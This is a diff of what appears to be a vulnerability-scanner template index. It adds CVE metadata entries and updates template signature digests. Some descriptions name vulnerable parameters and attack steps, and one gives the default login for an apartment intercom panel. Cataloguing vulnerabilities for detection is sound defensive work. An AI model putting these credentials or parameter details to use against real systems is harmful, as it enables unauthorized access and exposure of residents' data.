@@ -3059,7 +3068,11 @@
 {"ID":"CVE-2025-2636","Info":{"Name":"InstaWP Connect \u003c 0.1.0.86 - Local PHP File Inclusion","Severity":"high","Description":"The InstaWP Connect - 1-click WP Staging \u0026 Migration plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 0.1.0.85 via the 'instawp-database-manager' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-2636.yaml"}
 {"ID":"CVE-2025-26793","Info":{"Name":"FREEDOM Administration - Default Login","Severity":"critical","Description":"The Web GUI configuration panel of Hirsch (formerly Identiv and Viscount) Enterphone MESH through 2024 ships with default credentials (username freedom, password viscount). The administrator is not prompted to change these credentials on initial configuration, and changing the credentials requires many steps. Attackers can use the credentials over the Internet via mesh.webadmin.MESHAdminServlet to gain access to dozens of Canadian and U.S. apartment buildings and obtain building residents' PII. NOTE- the Supplier's perspective is that the \"vulnerable systems are not following manufacturers' recommendations to change the default password.\"\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-26793.yaml"}
 {"ID":"CVE-2025-27007","Info":{"Name":"OttoKit \u003c 1.0.83 - SureTriggers allows Privilege Escalation","Severity":"critical","Description":"Incorrect Privilege Assignment vulnerability in Brainstorm Force SureTriggers allows Privilege Escalation.This issue affects SureTriggers- from n/a through 1.0.82.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-27007.yaml"}
+{"ID":"CVE-2025-2709","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the key and redirect parameters in login.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2709.yaml"}
+{"ID":"CVE-2025-2710","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the flag parameter in menu.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2710.yaml"}
+{"ID":"CVE-2025-2711","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2711.yaml"}
 {"ID":"CVE-2025-27112","Info":{"Name":"Navidrome \u003c=0.54.5 -  Authentication Bypass in Subsonic API","Severity":"medium","Description":"Navidrome is an open source web-based music collection server and streamer. Starting in version 0.52.0 and prior to version 0.54.5, in certain Subsonic API endpoints, a flaw in the authentication check process allows an attacker to specify any arbitrary username that does not exist on the system, along with a salted hash of an empty password. Under these conditions, Navidrome treats the request as authenticated, granting access to various Subsonic endpoints without requiring valid credentials. An attacker can use any non-existent username to bypass the authentication system and gain access to various read-only data in Navidrome, such as user playlists. However, any attempt to modify data fails with a \"permission denied\" error due to insufficient permissions, limiting the impact to unauthorized viewing of information. Version 0.54.5 contains a patch for this issue.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-27112.yaml"}
+{"ID":"CVE-2025-2712","Info":{"Name":"Yonyou UFIDA ERP-NC V5.0 - Cross-Site Scripting","Severity":"medium","Description":"Yonyou UFIDA ERP-NC V5.0 is vulnerable to reflected cross-site scripting (XSS) via the langcode parameter in /help/systop.jsp and /help/top.jsp. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-2712.yaml"}
 {"ID":"CVE-2025-27134","Info":{"Name":"Joplin 3.3.3 Server - Privilege Escalation","Severity":"high","Description":"Joplin is a free, open source note taking and to-do application, which can handle a large number of notes organised into notebooks. Prior to version 3.3.3, a privilege escalation vulnerability exists in the Joplin server, allowing non-admin users to exploit the API endpoint `PATCH /api/users/-id` to set the `is_admin` field to 1. The vulnerability allows malicious low-privileged users to perform administrative actions without proper authorization. This issue has been patched in version 3.3.3.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-27134.yaml"}
 {"ID":"CVE-2025-27218","Info":{"Name":"Sitecore Experience Manager (XM)/Experience Platform (XP) 10.4 - Insecure Deserialization","Severity":"medium","Description":"Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4 before KB1002844 allow remote code execution through insecure deserialization.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2025/CVE-2025-27218.yaml"}
 {"ID":"CVE-2025-2748","Info":{"Name":"Kentico Xperience CMS - Unauthenticated Stored XSS","Severity":"medium","Description":"The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2025/CVE-2025-2748.yaml"}
@@ -3096,10 +3109,14 @@
 {"ID":"CVE-2025-34031","Info":{"Name":"Moodle Jmol Filter 6.1 - Local File Inclusion","Severity":"high","Description":"Moodle Jmol Filter 6.1 is vulnerable to local file inclusion through the jsmol.php file, allowing attackers to read arbitrary files on the server.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-34031.yaml"}
 {"ID":"CVE-2025-34032","Info":{"Name":"Moodle LMS Jmol Plugin \u003c= 6.1 - Cross-Site Scripting","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in the Moodle LMS Jmol plugin version 6.1 and prior via the data parameter in jsmol.php. The application fails to properly sanitize user input before embedding it into the HTTP response, allowing an attacker to execute arbitrary JavaScript in the victim's browser by crafting a malicious link. This can be used to hijack user sessions or manipulate page content.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2025/CVE-2025-34032.yaml"}
 {"ID":"CVE-2025-34040","Info":{"Name":"Zhiyuan OA Platform - Arbitrary File Upload","Severity":"critical","Description":"An arbitrary file upload vulnerability exists in the Zhiyuan OA platform 5.0, 5.1 - 5.6sp1, 6.0 - 6.1sp2, 7.0, 7.0sp1 - 7.1, 7.1sp1, and 8.0 - 8.0sp2 via the wpsAssistServlet interface. The realFileType and fileId parameters are improperly validated during multipart file uploads, allowing unauthenticated attackers to upload crafted JSP files outside of intended directories using path traversal. Successful exploitation enables remote code execution as the uploaded file can be accessed and executed through the web server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34040.yaml"}
+{"ID":"CVE-2025-34077","Info":{"Name":"WordPress Pie Register \u003c= 3.7.1.4 - Authentication Bypass","Severity":"critical","Description":"An authentication bypass vulnerability exists in the WordPress Pie Register plugin ≤ 3.7.1.4 that allows unauthenticated attackers to impersonate arbitrary users by submitting a crafted POST request to the login endpoint. By setting social_site=true and manipulating the user_id_social_site parameter, an attacker can generate a valid WordPress session cookie for any user ID, including administrators.Once authenticated, the attacker may exploit plugin upload functionality to install a malicious plugin containing arbitrary PHP code, resulting in remote code execution on the underlying server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-34077.yaml"}
 {"ID":"CVE-2025-34085","Info":{"Name":"WordPress Simple File List \u003c=4.2.2 - Remote Code Execution","Severity":"critical","Description":"An unrestricted file upload vulnerability in the WordPress Simple File List plugin before version 4.2.3 allows unauthenticated remote attackers to achieve remote code execution. The plugin's upload endpoint (ee-upload-engine.php) restricts file uploads based on extension, but lacks proper validation after file renaming. An attacker can first upload a PHP payload disguised as a .png file, then use the plugin’s ee-file-engine.php rename functionality to change the extension to .php. This bypasses upload restrictions and results in the uploaded payload being executable on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34085.yaml"}
+{"ID":"CVE-2025-34141","Info":{"Name":"ETQ Reliance - Reflected XSS via SQLConverterServlet","Severity":"medium","Description":"A reflected cross-site scripting (XSS) vulnerability exists in ETQ Reliance CG (legacy) platform within the SQLConverterServlet component. This vulnerability requires user interaction, such as clicking a crafted link, and may result in execution of unauthorized scripts in the user's context. The affected servlet was unnecessarily exposed to authenticated users and has since been disabled in version SE.2025.1.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-34141.yaml"}
 {"ID":"CVE-2025-3415","Info":{"Name":"Grafana - Exposes DingDing API Keys","Severity":"medium","Description":"An incident occurred where the DingDing alerting integration URL was inadvertently exposed to viewers due to a setting oversight in versions below or equals to 12.0.1.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-3415.yaml"}
+{"ID":"CVE-2025-34300","Info":{"Name":"SawtoothSoftware Lighthouse Studio \u003c 9.16.14 - Pre-Auth Remote Code Execution","Severity":"critical","Description":"A pre-authentication remote code execution vulnerability exists in Sawtooth Software’s Lighthouse Studio versions prior to 9.16.14. The issue arises from the unsafe use of the `eval` function within the Perl CGI component `ciwweb.pl`, where attacker-supplied input inside `hid_Random_ACARAT` is directly passed to `eval`. This allows remote unauthenticated attackers to execute arbitrary Perl code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-34300.yaml"}
 {"ID":"CVE-2025-4008","Info":{"Name":"MeteoBridge \u003c= 6.1 - Remote Code Execution","Severity":"high","Description":"The Meteobridge web interface let meteobridge administrator manage their weather station data collection and administer their meteobridge system through a web application written in CGI shell scripts and C.This web interface exposes an endpoint that is vulnerable to command injection.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-4008.yaml"}
 {"ID":"CVE-2025-4009","Info":{"Name":"Evertz SDVN 3080ipx-10G - Unauthenticated Arbitrary Command Injection","Severity":"critical","Description":"The Evertz SDVN 3080ipx-10G is a High Bandwidth Ethernet Switching Fabric for Video Application. This device exposes a web management interface on port 80. This web management interface can be used by administrators to control product features, setup network switching, and register license among other features. The application has been developed in PHP with the webEASY SDK, also named ‘ewb’ by Evertz.This web interface has two endpoints that are vulnerable to arbitrary command injection and the authentication mechanism has a flaw leading to authentication bypass.Remote unauthenticated attackers can gain arbitrary command execution with elevated privileges ( root ) on affected devices.This level of access could lead to serious business impact such as the interruption of media streaming, modification of media being streamed, alteration of closed captions being generated, among others.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"http/cves/2025/CVE-2025-4009.yaml"}
+{"ID":"CVE-2025-40630","Info":{"Name":"IceWarp Mail Server ≤11.4.0 - Open Redirect","Severity":"medium","Description":"IceWarp Mail Server version 11.4.0 and below contains an open redirect vulnerability that allows attackers to redirect users to arbitrary external domains through malicious URLs.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-40630.yaml"}
 {"ID":"CVE-2025-4123","Info":{"Name":"Grafana - XSS / Open Redirect / SSRF via Client Path Traversal","Severity":"high","Description":"An open redirect vulnerability in Grafana can be chained with other issues, such as XSS or SSRF, to increase impact. An attacker may exploit the redirect to target internal services or deliver malicious JavaScript, potentially leading to internal data exposure or account takeover.\n","Classification":{"CVSSScore":"7.6"}},"file_path":"http/cves/2025/CVE-2025-4123.yaml"}
 {"ID":"CVE-2025-41393","Info":{"Name":"Ricoh Web Image Monitor - Reflected XSS","Severity":"medium","Description":"A reflected cross-site scripting vulnerability exists in the laser printers and MFPs (multifunction printers) which implement Ricoh Web Image Monitor. If exploited, an arbitrary script may be executed on the web browser of the user who accessed Web Image Monitor.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2025/CVE-2025-41393.yaml"}
 {"ID":"CVE-2025-41646","Info":{"Name":"RevPi Webstatus \u003c= v2.4.5 - Authentication Bypass","Severity":"critical","Description":"An unauthorized remote attacker can bypass the authentication of the affected software package by misusing an incorrect type conversion. This leads to full compromise of the device\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-41646.yaml"}
@@ -3121,6 +3138,7 @@
 {"ID":"CVE-2025-47916","Info":{"Name":"Invision Community \u003c=5.0.6 Unauthenticated RCE via Template Injection","Severity":"critical","Description":"Invision Community 5.0.0 before 5.0.7 allows remote code execution via crafted template strings to themeeditor.php. The issue lies within the themeeditor controller (/applications/core/modules/front/system/themeeditor.php), where a protected method named customCss can be invoked by unauthenticated users. This method passes the value of the content parameter to the Theme::makeProcessFunction() method, which is evaluated by the template engine. Accordingly, unauthenticated attackers can inject and execute arbitrary PHP code by providing crafted template strings.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-47916.yaml"}
 {"ID":"CVE-2025-48827","Info":{"Name":"vBulletin 5.0.0-6.0.3 - Authentication Bypass","Severity":"critical","Description":"vBulletin 5.0.0 through 5.7.5 and 6.0.0 through 6.0.3 contain an authentication bypass caused by unauthenticated access to protected API controllers on PHP 8.1 or later, letting unauthenticated attackers invoke protected methods remotely.Starting from PHP 8.1, due to an internal adjustment to handling of ReflectionMethod::invoke() and similar methods, it now allows — by default — invocation of protected / private methods when using PHP's Reflection API.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-48827.yaml"}
 {"ID":"CVE-2025-48828","Info":{"Name":"vBulletin replaceAdTemplate - Remote Code Execution","Severity":"critical","Description":"vBulletin versions 5.0.0 through 6.0.3 contain a Remote Code Execution (RCE) vulnerability in the ajax/api/ad/replaceAdTemplate endpoint. This flaw arises from improper use of PHP's Reflection API, allowing unauthenticated attackers to invoke protected controller methods. By injecting a crafted \u003cvb:if\u003e conditional that executes arbitrary PHP code via passthru($_POST[\u003cparam\u003e]), and triggering it with a second request to ajax/render/ad_\u003clocation\u003e, attackers can run arbitrary commands on the server as the webserver user.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-48828.yaml"}
+{"ID":"CVE-2025-49029","Info":{"Name":"WordPress Custom Login And Signup Widget Plugin \u003c= 1.0 - Arbitrary Code Execution","Severity":"high","Description":"Improper Control of Generation of Code ('Code Injection') vulnerability in bitto.Kazi Custom Login And Signup Widget allows Code Injection.This issue affects Custom Login And Signup Widget: from n/a through 1.0\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-49029.yaml"}
 {"ID":"CVE-2025-49113","Info":{"Name":"Roundcube Webmail - Remote Code Execution","Severity":"critical","Description":"Roundcube Webmail before 1.5.10 and 1.6.x before 1.6.11 allows remote code execution by authenticated users because the _from parameter in a URL is not validated in program/actions/settings/upload.php, leading to PHP Object Deserialization.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2025/CVE-2025-49113.yaml"}
 {"ID":"CVE-2025-49132","Info":{"Name":"Pterodactyl Panel - Remote Code Execution","Severity":"critical","Description":"Pterodactyl is a free, open-source game server management panel. Using the /locales/locale.json with the locale and namespace query parameters, a malicious actor is able to execute arbitrary code without being authenticated.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2025/CVE-2025-49132.yaml"}
 {"ID":"CVE-2025-49493","Info":{"Name":"Akamai CloudTest \u003c 60 2025.06.02 - XML External Entity (XXE)","Severity":"critical","Description":"Akamai CloudTest before 60 2025.06.02 (12988) allows file inclusion via XML External Entity (XXE) injection.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2025/CVE-2025-49493.yaml"}
@@ -3128,10 +3146,14 @@
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
+{"ID":"CVE-2025-53770","Info":{"Name":"Microsoft SharePoint Server - Remote Code Execution (ToolShell)","Severity":"critical","Description":"Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an unauthorized attacker to execute code over a network. Microsoft is aware that an exploit for CVE-2025-53770 exists in the wild. Microsoft is preparing and fully testing a comprehensive update to address this vulnerability. In the meantime, please make sure that the mitigation provided in this CVE documentation is in place so that you are protected from exploitation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-53770.yaml"}
 {"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
+{"ID":"CVE-2025-5961","Info":{"Name":"WordPress WPvivid Backup \u0026 Migration Plugin \u003c= 0.9.116 - Authenticated Arbitrary File Upload","Severity":"high","Description":"The Migration, Backup, Staging – WPvivid Backup \u0026 Migration plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'wpvivid_upload_import_files' function in all versions up to, and including, 0.9.116.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2025/CVE-2025-5961.yaml"}
+{"ID":"CVE-2025-6058","Info":{"Name":"WPBookit \u003c= 1.0.4 - Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-6058.yaml"}
 {"ID":"CVE-2025-6851","Info":{"Name":"WordPress Broken Link Notifier \u003c 1.3.1 - Unauthenticated SSRF","Severity":"high","Description":"The Broken Link Notifier plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.3.0 via the ajax_blinks() function which ultimately calls the check_url_status_code() function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-6851.yaml"}
+{"ID":"CVE-2025-6970","Info":{"Name":"WordPress Events Manager \u003c= 7.0.3 - SQL Injection","Severity":"critical","Description":"The Events Manager - Calendar, Bookings, Tickets, and more! plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in all versions up to, and including, 7.0.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-6970.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-2687","Info":{"Name":"Distccd v1 - Remote Code Execution","Severity":"high","Description":"distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"network/cves/2004/CVE-2004-2687.yaml"}
 {"ID":"CVE-2011-2523","Info":{"Name":"VSFTPD 2.3.4 - Backdoor Command Execution","Severity":"critical","Description":"VSFTPD v2.3.4 had a serious backdoor vulnerability allowing attackers to execute arbitrary commands on the server with root-level access. The backdoor was triggered by a specific string of characters in a user login request, which allowed attackers to execute any command they wanted.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2011/CVE-2011-2523.yaml"}
@@ -3142,6 +3164,7 @@
 {"ID":"CVE-2017-5645","Info":{"Name":"Apache Log4j Server - Deserialization Command Execution","Severity":"critical","Description":"In Apache Log4j 2.x before 2.8.2, when using the TCP socket server or UDP socket server to receive serialized log events from another application, a specially crafted binary payload can be sent that, when deserialized, can execute arbitrary code.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2017/CVE-2017-5645.yaml"}
 {"ID":"CVE-2018-2628","Info":{"Name":"Oracle WebLogic Server Deserialization - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contains an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2628.yaml"}
 {"ID":"CVE-2018-2893","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"The Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services) versions 10.3.6.0, 12.1.3.0, 12.2.1.2 and 12.2.1.3 contain an easily exploitable vulnerability that allows unauthenticated attackers with network access via T3 to compromise Oracle WebLogic Server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2018/CVE-2018-2893.yaml"}
+{"ID":"CVE-2019-5544","Info":{"Name":"VMware ESXi SLP - Heap Overflow DoS","Severity":"critical","Description":"OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2019/CVE-2019-5544.yaml"}
 {"ID":"CVE-2020-0796","Info":{"Name":"Microsoft SMBv3 - Remote Code Execution","Severity":"critical","Description":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n","Classification":{"CVSSScore":"10"}},"file_path":"network/cves/2020/CVE-2020-0796.yaml"}
 {"ID":"CVE-2020-11981","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Command Injection","Severity":"critical","Description":"An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-11981.yaml"}
 {"ID":"CVE-2020-1938","Info":{"Name":"Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability","Severity":"critical","Description":"When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-1938.yaml"}

cves.json-checksum.txt

@@ -1 +1 @@
-425043415754e2088d800df9ae84a558
+7a87fca0a901556d67f5ab48bab66d19

dns/bimi-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=BIMI1(.+)"
-# digest: 490a00463044022009fffc7073d5e1e53a72fce883bf73d5d7578fe61226686fb6b4e5566cca059b0220266af709e0addcdefa3455e3f8d29ad41363701ddd181a9d43ee10cc42ef3c51:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402200fe01a5c826372c4c474961cd9b60e14995e68146274efce51e1bfb98f88357d02202d93208ad29783b0da3f6d871b70322582ad4cc6a716131858b6ceb7fcfe353d:922c64590222798bb761d5b6d8e72950

dns/fbi-seized-nameserver.yaml

@@ -35,4 +35,4 @@ dns:
         group: 1
         regex:
           - "IN\\tNS\\t(.+)"
-# digest: 490a00463044022047e90ae7332797ff861299b9e8b434200e7a89b6b3e86f3d8daefdbd1c0d261502204e3d762eb1f3c29a19d9e0f7588a00700aec4ac5838bd6e5d1fdb1f55e039fc4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402203e0e1ffafe16d73163325e32a7a04da98be487fa00bdaef8f4f003bdba49f00002204d883ccbbe96f46a3431dd9062cfe1c366478bc2dcbfdd7dc265e9f327dca690:922c64590222798bb761d5b6d8e72950

dns/soa-detect.yaml

@@ -81,4 +81,4 @@ dns:
         name: "edge-cast"
         words:
           - "edgecastdns.net"
-# digest: 4a0a00473045022019b92f6606aac874f7a53af70e2bb9c71b77cdf058ac055524272f288b630882022100b8a33cee13321b22cfafcf468f85a3ab5a879d7b845f2ebdfcd343e9cc202064:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100dd92ea103a6f1b572f6103f4ff933eefe5c492f2c253caaf426a565e20c9ef85022100fcd4d733862bff8d4896e2c539df05719ce276b7c12c2870854eb8044de20cc5:922c64590222798bb761d5b6d8e72950

dns/spf-record-detect.yaml

@@ -23,4 +23,4 @@ dns:
       - type: regex
         regex:
           - "v=spf1(.+)"
-# digest: 4a0a00473045022039da917d0edd54a4387f15de6d1ec8ce3302948da821c7838bf52cd3e78d41e8022100899b90354013b7ac3c63bc6fac72427000dde4691c8e51d7f1a079bfe6aaa249:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100de19f8abe369bd24782662b43e369f7836bafa4c16d99a9c52e68baf78835a1e022100d3db136a58fd3abc20c8be76ad2a27b714688afc0408efa4ac6151e53794a4dd:922c64590222798bb761d5b6d8e72950

dns/txt-service-detect.yaml

@@ -218,4 +218,4 @@ dns:
         name: "whimsical"
         words:
           - "whimsical"
-# digest: 4a0a004730450220239c698bf862244383f08ea9254146b16d09d56ba3cfbe58d8c360317b0cb1b4022100f7e6dc65b9ee797b39ce422495e8817433ff3d144145ee612f6631d5915af094:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022018ed39d1161316778a3806e51f4bf714824be603db9bfd19ba0bf6fcf2872d32022100fb9045b8ab82a9c156a8eb0ccae9f6de4c47261799ea37109dd79bbe1d23d38b:922c64590222798bb761d5b6d8e72950

file/logs/aspnet-framework-exceptions.yaml

@@ -22,4 +22,4 @@ file:
           - 'InvalidOperationException'
           - 'UnauthorizedAccessException'
           - 'NotFound'
-# digest: 4b0a00483046022100e2637116e3a00666d555634eca83cd14ad818fd3fbfda5f8e6cfe846a9dfae66022100ee844ced7e9f0389022d6a4f4d728e4c2aded79e55e5b886b679dcc982545d29:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022055e217736e72f927aa32291855637a4d4a62d88481d51e8b14c08e7b2d1eb242022100c6ff9a9064d0c8843594a70a8a66aa9c9e24a50b739f0959849e2fe4484d8b65:922c64590222798bb761d5b6d8e72950

